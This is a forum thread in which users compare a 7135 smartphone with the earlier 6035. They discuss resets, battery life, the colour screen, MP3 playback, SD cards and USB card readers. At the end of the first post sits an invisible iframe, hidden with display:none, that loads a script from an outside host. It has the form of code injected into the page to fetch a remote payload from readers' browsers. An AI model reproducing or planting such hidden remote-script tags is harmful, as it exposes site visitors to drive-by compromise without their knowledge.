I'm seriously considering the 7135, but I'm interested in comparisons with the earlier model. Have repeatedly had to replace my 6035 because sound through wireless head sets -- and ultimately, all sound -- stops working. (This has happened six times over the past 18 months.) Problems, too, with keys on front flip becoming unusuable and/or phone no longer being able to recharge in the car. I'm a heavy mobile phone user. I'm curious if anyone is having these kinds of problems with the 7135. Any other comments, especially comparisons to other features of the 6035, would be useful.

Main complaints I've noticed -- bulk, short-life battery, some problems accessing wireless emails -- don't bother me. More concerned about reports of having to do frequent soft re-sets. Should I go ahead and invest in the 7135?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I have only had to do a reset on my new 7135 twice. Once after removing the phone from the sync cradle before canceling the hot sync. It wasn't connected to the computer yet, so I just took the phone out of the cradle. I can't remember what caused me to reset the second time, but it had something to do with a blank screen. I had the 6035 first, and there is really no comparison. The MP3 player is fun if you have an SD or MMC card to put the songs on. Nothing can compare to web surfing or playing games in color as compared to the horrid color of the 6035. I say make the plunge. I don't think you'll regret it.

Edit to add:
As for the short battery life, of course it will be short if you're doing any surfing or MP3 listening, or keep the screen up. I can get two full days out of my phone if I don't do any of the above. I drive for a dairy products distributor, so I go to work at 2AM. It's easy for me to keep the screen flipped up so I can easily see if I missed a call while out of the truck. I still get a full day out of the battery, so I'm not gonna complain.

I went from a 6035 to the 7135. I have not had any of the problems you had, nor the problems people have had with the 7135. Both hard resets and it seems the few soft resets were due to software I added.

Honestly, feature wise, there is not much difference. If I kept my 6035 I could still use palm programs, still get email, still browse the web....

The main differences are color, smaller form and mp3. I have purchased BeBopper (the enhanced mp3 player) and frankly I have listened to music once on my phone, so this may not be a feature you care about.

The smaller size is nice and once you see color, you can't go back

Again regarding quality issues, people had issues with both phones, I have not had issues with either phone.

Oh forgot one biggy....the SD slot...allows you to one, store a ton of programs outside of RAM, and two, make backups on the road so yu can restore if oyu are not at your PC....

Don't forget that the form factor is better. The overall volume of the device is about the same but I find that I like the 7135 better as a phone. The clamshell form factor is just eiaser to work with. For example you aren't allways concerned about locking the keypad (even though that's easy to do on the 6035) and there is just something satisfying about ending a call by snapping it shut.

I also LOVE the top LCD display. Every phone should have that!

As the others here have said - I used to think I wouldn't care about the color screen but once you use it for 5 minutes you won't go back. Actually I don't know if it's the color or not - Just the awesome backlight. You can acutally use your phone in the twilight! (And it makes a pretty good flashlight too)

I personally love the SD chips and the MP3 playing. I have gobs of e-books and about 5 or 6 albums with me at all times.

I can often be found sitting out on the porch reading a book - listening to music. It also lightens the load a ton when I travel. I almost never take a laptop or "dead tree" book anymore.

One thing - if you take the pluge three things to purchase at the same time. The headphones, The biggest SD chip your wallet will allow, and a USB device that will allow you to make fast transfers to your SD chip. (I reccomend the Lexar Jumpdrive Trio - about $18 at WalMart or the Sandisk Cruzer - about $60 - $75 with a smallish SD chip included)

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The box said "Requires Windows 98 or better." So I installed Linux.

Could you expand a bit on your explanation for the Jumpdrive? Why the big price difference from the Cruzer. I have a Compactflash card reader but am wondering how the USB readers work with the phone. Do you attach the phone cradle USB cable to the USB Jumpdrive or Cruzer? Thanks for any help.

The Cruzer and the JumpDrive both look and act just like a USB flash memory "key". You put your SD chip in them and then plug them into the PC and it gets mounted so that it appears just like a small hard disk. You will really want this shortly after you start the transfer of a cd or two to your card via "Downloader" and the cradle. Even though the 7135 has a USB connection you are still limited to the serial bus of the Dragonball processor for transfer speed - looks to be 56 to 115k... A 40mb CD will take anywhere from 15 to 30 minutes to copy.

Besides helping you load up on music and books they are very handy for transporting large files between home and office or keeping a backup copy of that all important presentation... The price difference is due to the fact that the Cruzer usually includes an SD chip. I think you can order them with just about any size but the stores seem to carry them with 32 or 64mb chips only. The Cruzer only works with SD and MMC. The JumpDrive is just the reader (key) part. You purchase the chips seperately. It also reads SD - MMC and Memory sticks (hence the trio moniker). I prefer the small key size readers to the pc attached ones beacuse I throw them in my bag and allways have them handy.

The Jumpdrive

The Cruzer

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The box said "Requires Windows 98 or better." So I installed Linux.

smammon
Thanks for the quick comeback. Clear and concise, and I believe I've got it. Jumpdrive price seems to make it the way to go, and like the rest of these geeks I've decided to buy it and will have it within 24 hrs. The only problem with impulse buying is credit limits!

Also... one other functionality of the SD cards over the cradle sync, is that you can install apps to your palm this way. Simple apps that just copy the prc file to the palm can be transfered via a SD card. I do this all the time when I don't want to sync with every conduit that I have installed or go through the hassle of modifiying the sync settings.
I bought my Jumpdrive with an SD card that had a rebate that covered the price of the Jumpdrive if you bought them together. I got the Jumpdrive for free essential... So what out for the rebate offers if you can suppress your impule buying urges!
mg

If I could suppress my impulse buying urge I wouldn't be an impulse buyer!